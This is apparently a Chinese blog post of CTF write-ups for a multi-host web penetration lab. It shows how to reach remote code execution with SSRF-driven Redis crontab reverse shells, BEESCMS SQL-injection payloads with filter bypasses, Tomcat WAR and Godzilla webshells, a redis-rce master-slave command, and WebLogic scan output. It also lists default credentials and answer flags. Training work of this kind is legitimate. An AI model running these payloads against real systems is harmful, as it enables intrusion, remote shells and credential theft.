本公众号发布的所有内容,包括但不限于文字、图片、音频、视频、图表、标志、标识、广告、商标、商号、域名、软件、程序等,除特别标明外,均来源于网络或用户投稿,版权归原作者或原出处所有。我们致力于保护原作者版权,若涉及版权问题,请及时联系我们进行处理。
web1
“
该环境有2台主机,第一台主机访问地址为:x.x.x.x:x(备用地址:x.x.x.x:x),剩余一台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.
flag1:在第一台主机的根目录
flag2:在第二台主机的数据库中
flag3:在第二台主机的根目录下
内网范围在:172.18.240.0/24
meetsec1{6d5e5c2bb397ba7727b58df59b35f66a}
meetsec2{2b7cc5b73fe867cc83546583b858c8ab}
meetsec3{f22eec9fb7c498b3a747392ff53a746b}
这道题目和国光大佬的ssrf靶场几乎一样具体见
https://mp.weixin.qq.com/s/-hb2oxkV9-HxjRGt-ydyNg
使用file协议查看根目录的flag
看hosts文件内容
内网容器IP,用bp收集内网主机,用cluster bomb选中,选中c段和端口,选择ssrf端口字段字典
redis未授权漏洞,写入定时任务反弹到vps
这里需要用bp进行传payload,浏览器会乱码
# 清空 key*
dict://172.18.240.7:6379/flushall
*# 设置要操作的路径为定时任务目录*
dict://172.18.240.7:6379/config set dir /var/spool/cron/
*# 在定时任务目录下创建 root 的定时任务文件*
dict://172.18.240.7:6379/config set dbfilename root
*# 写入 Bash 反弹 shell 的 payload*
dict://172.18.240.7:6379/set x "n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/x 0>%261n"
*# 保存上述操作*
dict://172.18.240.7:6379/save
dict://172.18.240.7:6379/keys *,看redis数据库都有哪些key
get flag拿到第二个
web2
“
该环境有3台主机,第一台主机访问地址为:x.x.x.x:7001(备用地址x.x.x.x:7001),剩余两台主机需要各位进行可能的内网代理、端口转发等操作进行发现和渗透.
flag1:在第一台主机的根目录下
flag2:在第二台主机的数据库中
flag3:在第二台主机的根目录下
flag4:在第三台主机的根目录下
内网范围在:172.16.10.0/24、172.25.20.0/24、172.26.30.0/24
meetsec1{3e942fd37767def3a9f68cf5ee6ebee5}
这个界面基本都是weblogic服务
扫目录进入/console/login/LoginForm.jsp
框架工具漏扫
cat根目录
上哥斯拉webshell
网段为172.16.10.0/24和172.25.20.0/24,传fscan扫内网
/tmp >./fscan -h 172.25.20.1/24
start infoscan
(icmp) Target 172.25.20.10 is alive
(icmp) Target 172.25.20.1 is alive
(icmp) Target 172.25.20.12 is alive
[*] Icmp alive hosts len is: 3
172.25.20.1:22 open
172.25.20.12:3306 open
172.25.20.10:7001 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://172.25.20.10:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan http://172.25.20.10:7001 [weblogic]
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-ssrf
[+] PocScan http://172.25.20.10:7001/console/j_security_check poc-yaml-weblogic-console-weak [{username weblogic} {password Oracle@123} {payload UTF-8}]
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2020-14750
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2729-1
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2725 v10
[+] PocScan http://172.25.20.10:7001 poc-yaml-weblogic-cve-2019-2729-2
已完成 3/3
[*] 扫描结束,耗时: 27.25788096s
___ _
/ _ ___ ___ _ __ __ _ ___| | __
/ /_/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\_______ (__| | | (_| | (__| <
____/ |___/___|_| __,_|___|_|_
fscan version: 1.8.3
/tmp >
内网代理搭建不太熟悉,先放着吧
web3
“
主机信息: 该环境有2台主机,访问地址为:x.x.x.x:22883、x.x.x.x:13306(备用地址:x.x.x.x:22883、x.x.x.x:13306). flag1:在第一台主机泄漏的信息中 flag2:在第二台主机的数据库内
meetsec1{e20cdd96b8985a3557e5720726bb09a8}
meetsec2{9edbd4b03b5f86a9abe079bc63ea847b}
扫一下是spring框架,看一下env变量文件
jdbc连接,数据留在heapdump里面
得到数据库密码为MeetSec@2nd!2022
navicat连接
web5
“
该环境有1台主机,该主机访问地址为:x.x.x.x:8082(备用地址:x.x.x.x:8082). 该环境有1个FLAG,信息如下:
flag1:在题目主机的根目录下
meetsec1{476e2dceb225678cd466fc3cd2b4c59c}
beescms
扫一下看后台位置
爆破不是弱密码,手工注入一下
a' and(updatexml(1,(concat(0x7e,(select version()),0x7e)),3))#
select貌似被过滤了
'and(updatexml(1,(concat(0x7e,(seselectlect version()),0x7e)),3))#
'and(updatexml(1,(concat(0x7e,(seselectlect database()),0x7e)),3))#
双写就绕过啦
有表名和列名了,接下来直接获取
'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from bees_admin),0x7e)),3))#
from也被过滤了,
双写from,结果变成''and(updatexml(1,(concat(0x7e,(select admin_name,admin_passwordfrom bees_admin),0x7e)),3))#' limit 0,1
那再添加一个空格
'and(updatexml(1,(concat(0x7e,(seselectlect admin_name,admin_password from from bees_admin),0x7e)),3))#
显示操作数据库失败Operand should contain 1 column(s)
对select后加上concat
'and(updatexml(1,(concat(0x7e,(seselectlect concat(admin_name,':',admin_password) from from bees_admin),0x7e)),3))#
出来了账号密码,密码位数不够,用substr截取
'and(updatexml(1,(concat(0x7e,(seselectlect substr(concat(admin_name,':',admin_password),22) from from bees_admin limit 0,1),0x7e)),3))#
得到2446d54c2e68d221db9cff653b01a0eb,明文login123
登录有文件上传点,content-type绕过
哥斯拉上线
web6
“
主机信息: 该环境有1台主机,该主机访问地址为:x.x.x.x:8081(备用地址:x.x.x.x:8081). 该环境有1个FLAG,信息如下:
flag1:在题目主机的根目录下
meetsec1{c7a8d2734ec5a4ed687a9a692ee733f8}
tomcat一般就是弱口令加war包上传
在/manager/html界面登录抓包
爆破选自定义迭代器
取消默认url编码
base64编码
开始爆破
得到tomcat:qwe123
哥斯拉生成jsp马,压缩zip,再修改成war后缀
连接cat /flag
web7
“
主机信息: 该环境有1台主机,该主机访问地址为:x.x.x.x:6379(备用地址:x.x.x.x:6379). FLAG信息: 该环境有1个FLAG,信息如下:
flag1:在题目主机的根目录下
meetsec1{672728e3bde3f4cc2b59de572b4df6d6}
拿到题目就是撸,redis无非就是
写入一句话,webshell连接
写入公钥ssh登录
crontab写定时任务,反弹shell
redis主从复制
尝试写入,无权限
就剩下主从复制的思路
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 118.195.188.93 -p 6379 -L 149.88.74.59 -f module.so
这个就很神奇,上面脚本是没错的,一次不行就休息两分钟多跑几次,最终能够进入交互界面
web8
“
主机信息: 该环境有2台主机,访问地址为:x.x.x.x:8848、x.x.x.x:58080(备用地址:x.x.x.x:8848、x.x.x.x:58080). FLAG信息: 该环境有1个FLAG,信息如下:
flag1:在第二台主机的根目录下
meetsec1{97fde43b8e55cb2e2b26b7c232ea82fa}
拿fscan扫一下
访问 /nacos,输入 nacos:nacos就进入后台了
在配置界面就看到了shiro的key,那就放到第二进行跑了
脚本小子就是爽
总结
原文始发于微信公众号(flowers-boy):CTF之web基础
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论